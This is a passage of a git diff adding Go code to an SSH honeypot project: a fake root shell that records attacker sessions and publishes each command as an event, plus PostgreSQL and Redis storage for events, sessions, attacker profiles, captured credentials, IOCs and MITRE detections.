int(payload[5])<<16 | int(payload[4])<<24 + + return cols, rows +} + +func parseExecPayload(payload []byte) string { + if len(payload) < 4 { + return "" + } + + cmdLen := int(payload[3]) | int(payload[2])<<8 | + int(payload[1])<<16 | int(payload[0])<<24 + + if len(payload) < 4+cmdLen { + return "" + } + + return string(payload[4 : 4+cmdLen]) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/sshd/shell.go b/PROJECTS/advanced/honeypot-network/internal/sshd/shell.go new file mode 100644 index 00000000..af10a901 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/sshd/shell.go @@ -0,0 +1,147 @@ +/* +©AngelaMos | 2026 +shell.go + +Interactive shell emulation for the SSH honeypot + +Provides a realistic bash-like terminal using golang.org/x/term +with a root prompt, Ubuntu MOTD banner on connect, and full +read-eval-print loop. All I/O is captured by the asciicast recorder +and every command is published to the event bus for analysis. +*/ + +package sshd + +import ( + "encoding/json" + "errors" + "fmt" + "io" + "strings" + "time" + + "github.com/google/uuid" + "golang.org/x/crypto/ssh" + "golang.org/x/term" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/internal/event" + "github.com/CarterPerez-dev/hive/internal/session" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +func RunShell( + ch ssh.Channel, + sessionID string, + sensorID string, + sourceIP string, + username string, + hostname string, + bus *event.Bus, + recorder *session.Recorder, + cols int, + rows int, +) { + now := time.Now().UTC() + banner := fmt.Sprintf( + config.SSHMOTDTemplate, + now.Format("Mon Jan 2 15:04:05 UTC 2006"), + now.Add(-24*time.Hour).Format( + "Mon Jan 2 15:04:05 2006", + ), + ) + + writeAndRecord(ch, recorder, []byte(banner)) + + fs := NewFakeFS(hostname) + cmdCtx := &CommandContext{ + FS: fs, + Hostname: hostname, + Username: username, + CWD: "/root", + } + + prompt := fmt.Sprintf( + "%s@%s:%s# ", username, hostname, cmdCtx.CWD, + ) + + terminal := term.NewTerminal(ch, prompt) + _ = terminal.SetSize(cols, rows) + + for { + line, err := terminal.ReadLine() + if err != nil { + if !errors.Is(err, io.EOF) { + break + } + break + } + + line = strings.TrimSpace(line) + if line == "" { + continue + } + + recorder.WriteInput([]byte(line + "\n")) + + publishCommand( + bus, sessionID, sensorID, + sourceIP, line, hostname, + ) + + if line == "exit" || line == "logout" || line == "quit" { + writeAndRecord( + ch, recorder, []byte("logout\r\n"), + ) + return + } + + output := DispatchCommand(line, cmdCtx) + if output != "" { + crlf := strings.ReplaceAll(output, "\n", "\r\n") + writeAndRecord(ch, recorder, []byte(crlf)) + } + + prompt = fmt.Sprintf( + "%s@%s:%s# ", + username, hostname, cmdCtx.CWD, + ) + terminal.SetPrompt(prompt) + } +} + +func writeAndRecord( + w io.Writer, + recorder *session.Recorder, + data []byte, +) { + _, _ = w.Write(data) + recorder.WriteOutput(data) +} + +func publishCommand( + bus *event.Bus, + sessionID string, + sensorID string, + sourceIP string, + command string, + hostname string, +) { + serviceData, _ := json.Marshal(map[string]string{ + "command": command, + "hostname": hostname, + }) + + bus.Publish(config.TopicCommand, &types.Event{ + ID: uuid.Must(uuid.NewV7()).String(), + SessionID: sessionID, + SensorID: sensorID, + Timestamp: time.Now().UTC(), + ServiceType: types.ServiceSSH, + EventType: types.EventCommand, + SourceIP: sourceIP, + Protocol: types.ProtocolTCP, + SchemaVersion: config.SchemaVersion, + ServiceData: serviceData, + }) +} diff --git a/PROJECTS/advanced/honeypot-network/internal/store/pgx.go b/PROJECTS/advanced/honeypot-network/internal/store/pgx.go new file mode 100644 index 00000000..ec73750d --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/store/pgx.go @@ -0,0 +1,916 @@ +/* +©AngelaMos | 2026 +pgx.go + +PostgreSQL implementation of all repository interfaces using pgxpool + +Manages a connection pool with tuned settings for high-throughput +event ingestion. Uses batch inserts for bulk operations and prepared +statements for frequent queries. Partition creation for time-ranged +tables is handled automatically on insert. +*/ + +package store + +import ( + "context" + "encoding/json" + "fmt" + "time" + + "github.com/jackc/pgx/v5" + "github.com/jackc/pgx/v5/pgxpool" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type PgxStore struct { + pool *pgxpool.Pool +} + +func NewPgxStore( + ctx context.Context, dsn string, +) (*PgxStore, error) { + cfg, err := pgxpool.ParseConfig(dsn) + if err != nil { + return nil, fmt.Errorf("parsing dsn: %w", err) + } + + cfg.MinConns = int32(config.DefaultDBPoolMin) + cfg.MaxConns = int32(config.DefaultDBPoolMax) + cfg.MaxConnIdleTime = config.DefaultDBIdleTimeout + + pool, err := pgxpool.NewWithConfig(ctx, cfg) + if err != nil { + return nil, fmt.Errorf("creating pool: %w", err) + } + + if err := pool.Ping(ctx); err != nil { + pool.Close() + return nil, fmt.Errorf("pinging database: %w", err) + } + + return &PgxStore{pool: pool}, nil +} + +func (s *PgxStore) Close() { + s.pool.Close() +} + +func (s *PgxStore) EnsurePartitions( + ctx context.Context, +) error { + now := time.Now().UTC() + months := []time.Time{ + time.Date(now.Year(), now.Month(), 1, 0, 0, 0, 0, time.UTC), + time.Date(now.Year(), now.Month()+1, 1, 0, 0, 0, 0, time.UTC), + time.Date(now.Year(), now.Month()+2, 1, 0, 0, 0, 0, time.UTC), + } + + for _, start := range months { + end := time.Date( + start.Year(), start.Month()+1, 1, + 0, 0, 0, 0, time.UTC, + ) + suffix := start.Format("y2006m01") + + for _, table := range []string{"events", "sessions"} { + query := fmt.Sprintf( + `CREATE TABLE IF NOT EXISTS %s_%s + PARTITION OF %s + FOR VALUES FROM ('%s') TO ('%s')`, + table, suffix, table, + start.Format(time.DateOnly), + end.Format(time.DateOnly), + ) + if _, err := s.pool.Exec(ctx, query); err != nil { + return fmt.Errorf( + "creating partition %s_%s: %w", + table, suffix, err, + ) + } + } + } + + return nil +} + +func (s *PgxStore) InsertEvent( + ctx context.Context, ev *types.Event, +) error { + tags := ev.Tags + if tags == nil { + tags = []string{} + } + + var geoCountryCode, geoCountry, geoCity, geoOrg *string + var geoLat, geoLon *float64 + var geoASN *int + + if ev.Geo != nil { + geoCountryCode = &ev.Geo.CountryCode + geoCountry = &ev.Geo.Country + geoCity = &ev.Geo.City + geoLat = &ev.Geo.Latitude + geoLon = &ev.Geo.Longitude + geoASN = &ev.Geo.ASN + geoOrg = &ev.Geo.Org + } + + _, err := s.pool.Exec(ctx, ` + INSERT INTO events ( + id, session_id, sensor_id, timestamp, received_at, + service_type, event_type, source_ip, source_port, + dest_port, protocol, schema_version, + country_code, country, city, latitude, longitude, + asn, org, tags, service_data + ) VALUES ( + $1, $2, $3, $4, $5, + $6, $7, $8, $9, + $10, $11, $12, + $13, $14, $15, $16, $17, + $18, $19, $20, $21 + )`, + ev.ID, ev.SessionID, ev.SensorID, + ev.Timestamp, ev.ReceivedAt, + ev.ServiceType.String(), ev.EventType.String(), + ev.SourceIP, ev.SourcePort, + ev.DestPort, ev.Protocol.String(), + ev.SchemaVersion, + geoCountryCode, geoCountry, geoCity, + geoLat, geoLon, + geoASN, geoOrg, + tags, ev.ServiceData, + ) + if err != nil { + return fmt.Errorf("inserting event: %w", err) + } + + return nil +} + +func (s *PgxStore) InsertBatch( + ctx context.Context, evs []*types.Event, +) error { + batch := &pgx.Batch{} + for _, ev := range evs { + var geoCountryCode, geoCountry, geoCity, geoOrg *string + var geoLat, geoLon *float64 + var geoASN *int + + if ev.Geo != nil { + geoCountryCode = &ev.Geo.CountryCode + geoCountry = &ev.Geo.Country + geoCity = &ev.Geo.City + geoLat = &ev.Geo.Latitude + geoLon = &ev.Geo.Longitude + geoASN = &ev.Geo.ASN + geoOrg = &ev.Geo.Org + } + + batch.Queue(` + INSERT INTO events ( + id, session_id, sensor_id, timestamp, + received_at, service_type, event_type, + source_ip, source_port, dest_port, protocol, + schema_version, + country_code, country, city, + latitude, longitude, asn, org, + tags, service_data + ) VALUES ( + $1, $2, $3, $4, $5, $6, $7, + $8, $9, $10, $11, $12, + $13, $14, $15, $16, $17, $18, $19, + $20, $21 + )`, + ev.ID, ev.SessionID, ev.SensorID, + ev.Timestamp, ev.ReceivedAt, + ev.ServiceType.String(), ev.EventType.String(), + ev.SourceIP, ev.SourcePort, ev.DestPort, + ev.Protocol.String(), ev.SchemaVersion, + geoCountryCode, geoCountry, geoCity, + geoLat, geoLon, geoASN, geoOrg, + ev.Tags, ev.ServiceData, + ) + } + + br := s.pool.SendBatch(ctx, batch) + defer func() { _ = br.Close() }() + + for range evs { + if _, err := br.Exec(); err != nil { + return fmt.Errorf("batch insert: %w", err) + } + } + + return nil +} + +func (s *PgxStore) FindByIP( + ctx context.Context, ip string, limit, offset int, +) ([]*types.Event, error) { + rows, err := s.pool.Query(ctx, ` + SELECT id, session_id, sensor_id, timestamp, + received_at, service_type, event_type, + source_ip, source_port, dest_port, + tags, service_data + FROM events + WHERE source_ip = $1 + ORDER BY timestamp DESC + LIMIT $2 OFFSET $3`, + ip, limit, offset, + ) + if err != nil { + return nil, fmt.Errorf("querying events by ip: %w", err) + } + defer rows.Close() + + return scanEvents(rows) +} + +func (s *PgxStore) FindBySession( + ctx context.Context, sessionID string, +) ([]*types.Event, error) { + rows, err := s.pool.Query(ctx, ` + SELECT id, session_id, sensor_id, timestamp, + received_at, service_type, event_type, + source_ip, source_port, dest_port, + tags, service_data + FROM events + WHERE session_id = $1 + ORDER BY timestamp ASC`, + sessionID, + ) + if err != nil { + return nil, fmt.Errorf( + "querying events by session: %w", err, + ) + } + defer rows.Close() + + return scanEvents(rows) +} + +func (s *PgxStore) RecentEvents( + ctx context.Context, limit int, +) ([]*types.Event, error) { + rows, err := s.pool.Query(ctx, ` + SELECT id, session_id, sensor_id, timestamp, + received_at, service_type, event_type, + source_ip, source_port, dest_port, + tags, service_data + FROM events + ORDER BY timestamp DESC + LIMIT $1`, + limit, + ) + if err != nil { + return nil, fmt.Errorf("querying recent events: %w", err) + } + defer rows.Close() + + return scanEvents(rows) +} + +func (s *PgxStore) CountByService( + ctx context.Context, since time.Time, +) (map[types.ServiceType]int64, error) { + rows, err := s.pool.Query(ctx, ` + SELECT service_type, COUNT(*) + FROM events + WHERE timestamp >= $1 + GROUP BY service_type`, + since, + ) + if err != nil { + return nil, fmt.Errorf("counting by service: %w", err) + } + defer rows.Close() + + result := make(map[types.ServiceType]int64) + for rows.Next() { + var svc string + var count int64 + if err := rows.Scan(&svc, &count); err != nil { + return nil, fmt.Errorf("scanning row: %w", err) + } + st, _ := types.ParseServiceType(svc) + result[st] = count + } + + return result, rows.Err() +} + +func (s *PgxStore) CountByCountry( + ctx context.Context, since time.Time, +) (map[string]int64, error) { + rows, err := s.pool.Query(ctx, ` + SELECT COALESCE(country_code, 'unknown'), COUNT(*) + FROM events + WHERE timestamp >= $1 + GROUP BY country_code + ORDER BY COUNT(*) DESC`, + since, + ) + if err != nil { + return nil, fmt.Errorf("counting by country: %w", err) + } + defer rows.Close() + + result := make(map[string]int64) + for rows.Next() { + var country string + var count int64 + if err := rows.Scan(&country, &count); err != nil { + return nil, fmt.Errorf("scanning row: %w", err) + } + result[country] = count + } + + return result, rows.Err() +} + +func (s *PgxStore) TotalCount( + ctx context.Context, +) (int64, error) { + var count int64 + err := s.pool.QueryRow(ctx, ` + SELECT COUNT(*) FROM events`, + ).Scan(&count) + return count, err +} + +func (s *PgxStore) InsertSession( + ctx context.Context, sess *types.Session, +) error { + _, err := s.pool.Exec(ctx, ` + INSERT INTO sessions ( + id, sensor_id, started_at, service_type, + source_ip, source_port, dest_port, + client_version, login_success, username + ) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)`, + sess.ID, sess.SensorID, sess.StartedAt, + sess.ServiceType.String(), + sess.SourceIP, sess.SourcePort, sess.DestPort, + sess.ClientVersion, sess.LoginSuccess, sess.Username, + ) + if err != nil { + return fmt.Errorf("inserting session: %w", err) + } + return nil +} + +func (s *PgxStore) UpdateSession( + ctx context.Context, sess *types.Session, +) error { + _, err := s.pool.Exec(ctx, ` + UPDATE sessions SET + ended_at = $2, + login_success = $3, + username = $4, + command_count = $5, + mitre_techniques = $6, + threat_score = $7, + tags = $8 + WHERE id = $1`, + sess.ID, sess.EndedAt, sess.LoginSuccess, + sess.Username, sess.CommandCount, + sess.MITRETechniques, sess.ThreatScore, sess.Tags, + ) + if err != nil { + return fmt.Errorf("updating session: %w", err) + } + return nil +} + +func (s *PgxStore) GetSession( + ctx context.Context, id string, +) (*types.Session, error) { + row := s.pool.QueryRow(ctx, ` + SELECT id, sensor_id, started_at, ended_at, + service_type, source_ip, source_port, dest_port, + client_version, login_success, username, + command_count, mitre_techniques, threat_score, tags + FROM sessions + WHERE id = $1`, + id, + ) + + return scanSession(row) +} + +func (s *PgxStore) ListSessions( + ctx context.Context, + service string, + limit, offset int, +) ([]*types.Session, int64, error) { + var total int64 + countQuery := `SELECT COUNT(*) FROM sessions` + listQuery := ` + SELECT id, sensor_id, started_at, ended_at, + service_type, source_ip, source_port, dest_port, + client_version, login_success, username, + command_count, mitre_techniques, threat_score, tags + FROM sessions` + + if service != "" { + countQuery += ` WHERE service_type = $1` + listQuery += ` WHERE service_type = $1 + ORDER BY started_at DESC LIMIT $2 OFFSET $3` + + if err := s.pool.QueryRow( + ctx, countQuery, service, + ).Scan(&total); err != nil { + return nil, 0, fmt.Errorf( + "counting sessions: %w", err, + ) + } + + rows, err := s.pool.Query( + ctx, listQuery, service, limit, offset, + ) + if err != nil { + return nil, 0, fmt.Errorf( + "listing sessions: %w", err, + ) + } + defer rows.Close() + sessions, err := scanSessions(rows) + return sessions, total, err + } + + listQuery += ` ORDER BY started_at DESC LIMIT $1 OFFSET $2` + + if err := s.pool.QueryRow( + ctx, countQuery, + ).Scan(&total); err != nil { + return nil, 0, fmt.Errorf("counting sessions: %w", err) + } + + rows, err := s.pool.Query(ctx, listQuery, limit, offset) + if err != nil { + return nil, 0, fmt.Errorf("listing sessions: %w", err) + } + defer rows.Close() + sessions, err := scanSessions(rows) + return sessions, total, err +} + +func (s *PgxStore) ActiveSessions( + ctx context.Context, +) ([]*types.Session, error) { + rows, err := s.pool.Query(ctx, ` + SELECT id, sensor_id, started_at, ended_at, + service_type, source_ip, source_port, dest_port, + client_version, login_success, username, + command_count, mitre_techniques, threat_score, tags + FROM sessions + WHERE ended_at IS NULL + ORDER BY started_at DESC`, + ) + if err != nil { + return nil, fmt.Errorf( + "querying active sessions: %w", err, + ) + } + defer rows.Close() + + return scanSessions(rows) +} + +func (s *PgxStore) UpsertAttacker( + ctx context.Context, a *types.Attacker, +) error { + tags := a.Tags + if tags == nil { + tags = []string{} + } + + _, err := s.pool.Exec(ctx, ` + INSERT INTO attackers ( + ip, first_seen, last_seen, total_events, + total_sessions, country_code, country, city, + latitude, longitude, asn, org, + threat_score, tool_family, tags + ) VALUES ( + $1, $2, $3, $4, $5, $6, $7, $8, + $9, $10, $11, $12, $13, $14, $15 + ) + ON CONFLICT (ip) DO UPDATE SET + last_seen = EXCLUDED.last_seen, + total_events = attackers.total_events + EXCLUDED.total_events, + total_sessions = attackers.total_sessions + EXCLUDED.total_sessions, + threat_score = GREATEST(attackers.threat_score, EXCLUDED.threat_score), + tool_family = COALESCE(EXCLUDED.tool_family, attackers.tool_family), + tags = EXCLUDED.tags`, + a.IP, a.FirstSeen, a.LastSeen, a.TotalEvents, + a.TotalSessions, a.Geo.CountryCode, a.Geo.Country, + a.Geo.City, a.Geo.Latitude, a.Geo.Longitude, + a.Geo.ASN, a.Geo.Org, + a.ThreatScore, a.ToolFamily, tags, + ) + if err != nil { + return fmt.Errorf("upserting attacker: %w", err) + } + return nil +} + +func (s *PgxStore) GetAttacker( + ctx context.Context, id int64, +) (*types.Attacker, error) { + row := s.pool.QueryRow(ctx, ` + SELECT id, ip, first_seen, last_seen, total_events, + total_sessions, country_code, country, city, + latitude, longitude, asn, org, + threat_score, tool_family, tags + FROM attackers + WHERE id = $1`, + id, + ) + return scanAttacker(row) +} + +func (s *PgxStore) GetAttackerByIP( + ctx context.Context, ip string, +) (*types.Attacker, error) { + row := s.pool.QueryRow(ctx, ` + SELECT id, ip, first_seen, last_seen, total_events, + total_sessions, country_code, country, city, + latitude, longitude, asn, org, + threat_score, tool_family, tags + FROM attackers + WHERE ip = $1`, + ip, + ) + return scanAttacker(row) +} + +func (s *PgxStore) TopAttackers( + ctx context.Context, since time.Time, limit, offset int, +) ([]*types.Attacker, error) { + rows, err := s.pool.Query(ctx, ` + SELECT id, ip, first_seen, last_seen, total_events, + total_sessions, country_code, country, city, + latitude, longitude, asn, org, + threat_score, tool_family, tags + FROM attackers + WHERE last_seen >= $1 + ORDER BY threat_score DESC, total_events DESC + LIMIT $2 OFFSET $3`, + since, limit, offset, + ) + if err != nil { + return nil, fmt.Errorf( + "querying top attackers: %w", err, + ) + } + defer rows.Close() + + var attackers []*types.Attacker + for rows.Next() { + a, err := scanAttackerRow(rows) + if err != nil { + return nil, err + } + attackers = append(attackers, a) + } + return attackers, rows.Err() +} + +func (s *PgxStore) InsertCredential( + ctx context.Context, c *types.Credential, +) error { + _, err := s.pool.Exec(ctx, ` + INSERT INTO credentials ( + session_id, timestamp, service_type, source_ip, + username, password, public_key, auth_method, success + ) VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)`, + c.SessionID, c.Timestamp, c.ServiceType.String(), + c.SourceIP, c.Username, c.Password, + c.PublicKey, c.AuthMethod, c.Success, + ) + if err != nil { + return fmt.Errorf("inserting credential: %w", err) + } + return nil +} + +func (s *PgxStore) TopUsernames( + ctx context.Context, limit int, +) ([]CredentialCount, error) { + rows, err := s.pool.Query(ctx, ` + SELECT username, COUNT(*) as cnt + FROM credentials + GROUP BY username + ORDER BY cnt DESC + LIMIT $1`, limit) + if err != nil { + return nil, fmt.Errorf("querying top usernames: %w", err) + } + defer rows.Close() + return scanCredentialCounts(rows) +} + +func (s *PgxStore) TopPasswords( + ctx context.Context, limit int, +) ([]CredentialCount, error) { + rows, err := s.pool.Query(ctx, ` + SELECT password, COUNT(*) as cnt + FROM credentials + GROUP BY password + ORDER BY cnt DESC + LIMIT $1`, limit) + if err != nil { + return nil, fmt.Errorf("querying top passwords: %w", err) + } + defer rows.Close() + return scanCredentialCounts(rows) +} + +func scanCredentialCounts( + rows pgx.Rows, +) ([]CredentialCount, error) { + var results []CredentialCount + for rows.Next() { + var cc CredentialCount + if err := rows.Scan(&cc.Value, &cc.Count); err != nil { + return nil, fmt.Errorf("scanning row: %w", err) + } + results = append(results, cc) + } + return results, rows.Err() +} + +func (s *PgxStore) TopPairs( + ctx context.Context, limit int, +) ([]CredentialPairCount, error) { + rows, err := s.pool.Query(ctx, ` + SELECT username, password, COUNT(*) as cnt + FROM credentials + GROUP BY username, password + ORDER BY cnt DESC + LIMIT $1`, + limit, + ) + if err != nil { + return nil, fmt.Errorf("querying top pairs: %w", err) + } + defer rows.Close() + + var results []CredentialPairCount + for rows.Next() { + var cp CredentialPairCount + if err := rows.Scan( + &cp.Username, &cp.Password, &cp.Count, + ); err != nil { + return nil, fmt.Errorf("scanning row: %w", err) + } + results = append(results, cp) + } + return results, rows.Err() +} + +func (s *PgxStore) UpsertIOC( + ctx context.Context, ioc *types.IOC, +) error { + _, err := s.pool.Exec(ctx, ` + INSERT INTO iocs ( + type, value, first_seen, last_seen, + sight_count, confidence, source, tags + ) VALUES ($1, $2, $3, $4, $5, $6, $7, $8) + ON CONFLICT (type, value) DO UPDATE SET + last_seen = EXCLUDED.last_seen, + sight_count = iocs.sight_count + 1, + confidence = GREATEST(iocs.confidence, EXCLUDED.confidence)`, + ioc.Type.String(), ioc.Value, ioc.FirstSeen, + ioc.LastSeen, ioc.SightCount, + ioc.Confidence, ioc.Source, ioc.Tags, + ) + if err != nil { + return fmt.Errorf("upserting ioc: %w", err) + } + return nil +} + +func (s *PgxStore) ListIOCs( + ctx context.Context, limit, offset int, +) ([]*types.IOC, int64, error) { + var total int64 + if err := s.pool.QueryRow(ctx, + `SELECT COUNT(*) FROM iocs`, + ).Scan(&total); err != nil { + return nil, 0, fmt.Errorf("counting iocs: %w", err) + } + + rows, err := s.pool.Query(ctx, ` + SELECT id, type, value, first_seen, last_seen, + sight_count, confidence, source, tags + FROM iocs + ORDER BY last_seen DESC + LIMIT $1 OFFSET $2`, + limit, offset, + ) + if err != nil { + return nil, 0, fmt.Errorf("listing iocs: %w", err) + } + defer rows.Close() + + var iocs []*types.IOC + for rows.Next() { + var ioc types.IOC + var iocType string + if err := rows.Scan( + &ioc.ID, &iocType, &ioc.Value, + &ioc.FirstSeen, &ioc.LastSeen, + &ioc.SightCount, &ioc.Confidence, + &ioc.Source, &ioc.Tags, + ); err != nil { + return nil, 0, fmt.Errorf("scanning ioc: %w", err) + } + ioc.Type, _ = types.ParseIOCType(iocType) + iocs = append(iocs, &ioc) + } + return iocs, total, rows.Err() +} + +func (s *PgxStore) InsertDetection( + ctx context.Context, d *types.MITREDetection, +) error { + _, err := s.pool.Exec(ctx, ` + INSERT INTO mitre_detections ( + session_id, technique_id, tactic, confidence, + source_ip, service_type, evidence, detected_at + ) VALUES ($1, $2, $3, $4, $5, $6, $7, $8)`, + d.SessionID, d.TechniqueID, d.Tactic, + d.Confidence, d.SourceIP, + d.ServiceType.String(), d.Evidence, d.DetectedAt, + ) + if err != nil { + return fmt.Errorf("inserting detection: %w", err) + } + return nil +} + +func (s *PgxStore) TechniqueHeatmap( + ctx context.Context, since time.Time, +) ([]TechniqueCount, error) { + rows, err := s.pool.Query(ctx, ` + SELECT technique_id, tactic, COUNT(*) + FROM mitre_detections + WHERE detected_at >= $1 + GROUP BY technique_id, tactic + ORDER BY COUNT(*) DESC`, + since, + ) + if err != nil { + return nil, fmt.Errorf( + "querying technique heatmap: %w", err, + ) + } + defer rows.Close() + + var results []TechniqueCount + for rows.Next() { + var tc TechniqueCount + if err := rows.Scan( + &tc.TechniqueID, &tc.Tactic, &tc.Count, + ); err != nil { + return nil, fmt.Errorf("scanning row: %w", err) + } + results = append(results, tc) + } + return results, rows.Err() +} + +func (s *PgxStore) RecentDetections( + ctx context.Context, limit int, +) ([]*types.MITREDetection, error) { + rows, err := s.pool.Query(ctx, ` + SELECT id, session_id, technique_id, tactic, + confidence, source_ip, service_type, + evidence, detected_at + FROM mitre_detections + ORDER BY detected_at DESC + LIMIT $1`, + limit, + ) + if err != nil { + return nil, fmt.Errorf( + "querying recent detections: %w", err, + ) + } + defer rows.Close() + + var detections []*types.MITREDetection + for rows.Next() { + var d types.MITREDetection + var svc string + if err := rows.Scan( + &d.ID, &d.SessionID, &d.TechniqueID, + &d.Tactic, &d.Confidence, &d.SourceIP, + &svc, &d.Evidence, &d.DetectedAt, + ); err != nil { + return nil, fmt.Errorf( + "scanning detection: %w", err, + ) + } + d.ServiceType, _ = types.ParseServiceType(svc) + detections = append(detections, &d) + } + return detections, rows.Err() +} + +func scanEvents(rows pgx.Rows) ([]*types.Event, error) { + var events []*types.Event + for rows.Next() { + var ev types.Event + var svc, evt string + if err := rows.Scan( + &ev.ID, &ev.SessionID, &ev.SensorID, + &ev.Timestamp, &ev.ReceivedAt, + &svc, &evt, + &ev.SourceIP, &ev.SourcePort, &ev.DestPort, + &ev.Tags, &ev.ServiceData, + ); err != nil { + return nil, fmt.Errorf("scanning event: %w", err) + } + ev.ServiceType, _ = types.ParseServiceType(svc) + ev.EventType, _ = types.ParseEventType(evt) + events = append(events, &ev) + } + return events, rows.Err() +} + +func scanSession(row pgx.Row) (*types.Session, error) { + var s types.Session + var svc string + err := row.Scan( + &s.ID, &s.SensorID, &s.StartedAt, &s.EndedAt, + &svc, &s.SourceIP, &s.SourcePort, &s.DestPort, + &s.ClientVersion, &s.LoginSuccess, &s.Username, + &s.CommandCount, &s.MITRETechniques, + &s.ThreatScore, &s.Tags, + ) + if err != nil { + return nil, fmt.Errorf("scanning session: %w", err) + } + s.ServiceType, _ = types.ParseServiceType(svc) + return &s, nil +} + +func scanSessions(rows pgx.Rows) ([]*types.Session, error) { + var sessions []*types.Session + for rows.Next() { + var s types.Session + var svc string + if err := rows.Scan( + &s.ID, &s.SensorID, &s.StartedAt, &s.EndedAt, + &svc, &s.SourceIP, &s.SourcePort, &s.DestPort, + &s.ClientVersion, &s.LoginSuccess, &s.Username, + &s.CommandCount, &s.MITRETechniques, + &s.ThreatScore, &s.Tags, + ); err != nil { + return nil, fmt.Errorf("scanning session: %w", err) + } + s.ServiceType, _ = types.ParseServiceType(svc) + sessions = append(sessions, &s) + } + return sessions, rows.Err() +} + +func scanAttacker(row pgx.Row) (*types.Attacker, error) { + var a types.Attacker + err := row.Scan( + &a.ID, &a.IP, &a.FirstSeen, &a.LastSeen, + &a.TotalEvents, &a.TotalSessions, + &a.Geo.CountryCode, &a.Geo.Country, &a.Geo.City, + &a.Geo.Latitude, &a.Geo.Longitude, + &a.Geo.ASN, &a.Geo.Org, + &a.ThreatScore, &a.ToolFamily, &a.Tags, + ) + if err != nil { + return nil, fmt.Errorf("scanning attacker: %w", err) + } + return &a, nil +} + +func scanAttackerRow( + rows pgx.Rows, +) (*types.Attacker, error) { + var a types.Attacker + err := rows.Scan( + &a.ID, &a.IP, &a.FirstSeen, &a.LastSeen, + &a.TotalEvents, &a.TotalSessions, + &a.Geo.CountryCode, &a.Geo.Country, &a.Geo.City, + &a.Geo.Latitude, &a.Geo.Longitude, + &a.Geo.ASN, &a.Geo.Org, + &a.ThreatScore, &a.ToolFamily, &a.Tags, + ) + if err != nil { + return nil, fmt.Errorf("scanning attacker: %w", err) + } + return &a, nil +} + +var _ json.Marshaler = (*types.ServiceType)(nil) diff --git a/PROJECTS/advanced/honeypot-network/internal/store/redis.go b/PROJECTS/advanced/honeypot-network/internal/store/redis.go new file mode 100644 index 00000000..f55369ed --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/store/redis.go @@ -0,0 +1,180 @@ +/* +©AngelaMos | 2026 +redis.go + +Redis Streams client for real-time event streaming + +Publishes honeypot events to a capped Redis stream for consumption +by the WebSocket API. Also provides sliding window counters and +session caching for the dashboard stats endpoints. +*/ + +package store + +import ( + "context" + "encoding/json" + "fmt" + + "github.com/redis/go-redis/v9" + + "github.com/CarterPerez-dev/hive/internal/config" + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type RedisStreamer struct { + client *redis.Client + streamKey string + maxLen int64 +} + +func NewRedisStreamer( + url, password string, +) (*RedisStreamer, error) { + opts, err := redis.ParseURL(url) + if err != nil { + return nil, fmt.Errorf("parsing redis url: %w", err) + } + + if password != "" { + opts.Password = password + } + + client := redis.NewClient(opts) + + return &RedisStreamer{ + client: client, + streamKey: config.DefaultRedisStreamKey, + maxLen: config.DefaultRedisMaxLen, + }, nil +} + +func (r *RedisStreamer) Close() error { + return r.client.Close() +} + +func (r *RedisStreamer) PublishEvent( + ctx context.Context, ev *types.Event, +) error { + data, err := json.Marshal(ev) + if err != nil { + return fmt.Errorf("marshaling event: %w", err) + } + + return r.client.XAdd(ctx, &redis.XAddArgs{ + Stream: r.streamKey, + MaxLen: r.maxLen, + Approx: true, + Values: map[string]any{ + "event_id": ev.ID, + "session_id": ev.SessionID, + "service_type": ev.ServiceType.String(), + "event_type": ev.EventType.String(), + "source_ip": ev.SourceIP, + "data": string(data), + }, + }).Err() +} + +func (r *RedisStreamer) SubscribeEvents( + ctx context.Context, +) <-chan *types.Event { + ch := make( + chan *types.Event, + config.DefaultEventBusBuffer, + ) + + go func() { + defer close(ch) + + lastID := "$" + for ctx.Err() == nil { + streams, err := r.client.XRead( + ctx, &redis.XReadArgs{ + Streams: []string{ + r.streamKey, lastID, + }, + Count: 100, + Block: 0, + }, + ).Result() + if err != nil { + continue + } + + var done bool + lastID, done = dispatchStreams( + ctx, ch, streams, lastID, + ) + if done { + return + } + } + }() + + return ch +} + +func dispatchStreams( + ctx context.Context, + ch chan<- *types.Event, + streams []redis.XStream, + lastID string, +) (string, bool) { + for _, stream := range streams { + for _, msg := range stream.Messages { + lastID = msg.ID + + ev := parseStreamMessage(msg) + if ev == nil { + continue + } + + select { + case ch <- ev: + case <-ctx.Done(): + return lastID, true + } + } + } + + return lastID, false +} + +func parseStreamMessage( + msg redis.XMessage, +) *types.Event { + data, ok := msg.Values["data"].(string) + if !ok { + return nil + } + + var ev types.Event + if err := json.Unmarshal( + []byte(data), &ev, + ); err != nil { + return nil + } + + return &ev +} + +func (r *RedisStreamer) IncrCounter( + ctx context.Context, key string, +) error { + pipe := r.client.Pipeline() + pipe.Incr(ctx, key) + pipe.Expire(ctx, key, config.DefaultRedisTTL) + _, err := pipe.Exec(ctx) + return err +} + +func (r *RedisStreamer) GetCounter( + ctx context.Context, key string, +) (int64, error) { + return r.client.Get(ctx, key).Int64() +} + +func (r *RedisStreamer) Ping(ctx context.Context) error { + return r.client.Ping(ctx).Err() +} diff --git a/PROJECTS/advanced/honeypot-network/internal/store/repository.go b/PROJECTS/advanced/honeypot-network/internal/store/repository.go new file mode 100644 index 00000000..d6102074 --- /dev/null +++ b/PROJECTS/advanced/honeypot-network/internal/store/repository.go @@ -0,0 +1,140 @@ +/* +©AngelaMos | 2026 +repository.go + +Repository interfaces for all persistent data access + +Defines the contracts that the pgx implementation fulfills. Each +interface is scoped to a single domain: events, sessions, attackers, +credentials, IOCs, and MITRE detections. Consumers depend on +interfaces, never on concrete implementations. +*/ + +package store + +import ( + "context" + "time" + + "github.com/CarterPerez-dev/hive/pkg/types" +) + +type EventRepository interface { + InsertEvent(ctx context.Context, ev *types.Event) error + InsertBatch( + ctx context.Context, evs []*types.Event, + ) error + FindByIP( + ctx context.Context, ip string, limit, offset int, + ) ([]*types.Event, error) + FindBySession( + ctx context.Context, sessionID string, + 